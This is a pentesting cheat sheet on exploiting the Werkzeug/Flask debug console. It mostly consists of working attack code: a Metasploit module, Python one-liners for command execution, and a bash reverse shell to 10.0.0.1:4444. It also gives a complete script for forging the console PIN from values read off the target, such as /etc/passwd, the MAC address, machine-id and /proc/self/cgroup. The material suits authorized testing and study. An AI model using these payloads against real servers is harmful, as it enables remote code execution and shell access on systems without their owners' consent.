# Werkzeug Pentesting

Werkzeug is a comprehensive WSGI web application library that is commonly used for Flask web application.

### SSTI <a href="#ssti" id="ssti"></a>

Please see [Flask Jinja2 SSTI](https://exploit-notes.hdks.org/exploit/web/framework/flask-jinja2/)

### Remote Code Execution (RCE) in Console <a href="#remote-code-execution-rce-in-console" id="remote-code-execution-rce-in-console"></a>

#### Metasploit <a href="#metasploit" id="metasploit"></a>

```
msfconsole
msf> use exploit/multi/http/werkzeug_debug_rce
```

#### Manual Exploitation <a href="#manual-exploitation" id="manual-exploitation"></a>

If we can access to `/console` page, we may be able to execute RCE.

```
__import__('os').popen('whoami').read();
import os; print(os.popen("whoami").read())

# Reverse shell
__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"').read()
```

### Console PIN Exploit <a href="#console-pin-exploit" id="console-pin-exploit"></a>

Reference: <https://www.daehee.com/werkzeug-console-pin-exploit/>

Prepare the Python payload for getting the PIN code in the `console` page.

```
# get_pin.py
import hashlib
from itertools import chain

probably_public_bits = [
    'user',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'
]

private_bits = [
    '279275995014060',
    'd4e6cb65d59544f3331ea0425dc555a1'
]

h = hashlib.sha1() # or hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
```

As above, we need to set values in the `probably_public_bits` and the `private_bits`.

```
probably_public_bits = [
    'user',             # 1.
    'flask.app',        # 2.
    'Flask',            # 3.
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' # 4.
]

private_bits = [
    '279275995014060',                  # 5.
    'd4e6cb65d59544f3331ea0425dc555a1'  # 6.
]
```

1. The username who starts the flask server. For example, we may find it in `/etc/passwd`.
2. The module name e.g. `flask.app`.
3. The application name e.g. `Flask`. (`getattr(app, '__name__', getattr(app.__class__, '__name__'))`)
4. The absolute path for the `app.py` of the Flask in the Python packages. (`getattr(mod, '__file__', None)`)
5. The MAC address of the current computer. We can get the value in the `/sys/class/net/<device_id>/address`. To get the `device_id`, read the `Device` field in the `/proc/net/arp`. Additionally, the address needs to be converted from hex to decimal. For example, `12:34:56:78:9a:bc` → `123456789abc` → `20015998343868`. (`str(uuid.getnode()), /sys/class/net/ens33/address`)
6. The machine ID. We can get the ID by reading `/etc/madhine-id`. Additionally, we need to concatenate it with the last value of the first line of `/proc/self/cgroup` separated by `/` (the value can be empty). For example,

```
# /proc/self/cgroup
15:name=systemd:/example.service
...
```

Assume the first line of the `/proc/self/cgroup` is as above. We have to put the value (`example.service`) after the machine ID as below:

```
# e.g. the machine ID is `0123456789abcdef0123456789abcdef`
0123456789abcdef0123456789abcdefexample.service
```

### References <a href="#references" id="references"></a>

* [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug)
